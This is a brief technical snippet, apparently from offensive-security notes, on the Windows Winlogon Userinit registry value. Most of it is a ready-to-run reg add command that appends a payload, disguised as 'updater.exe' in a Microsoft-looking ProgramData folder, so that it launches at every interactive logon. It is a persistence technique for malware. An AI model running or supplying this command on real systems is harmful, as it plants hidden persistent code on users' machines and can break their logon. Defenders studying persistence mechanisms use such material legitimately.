Userinit is read during interactive logon. The default value normally points to:
C:\Windows\system32\userinit.exe,
Administrators can append a payload, but a bad value can break user logon.
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\ProgramData\Microsoft\Windows\updater.exe" /f
This requires local administrator rights and triggers at logon.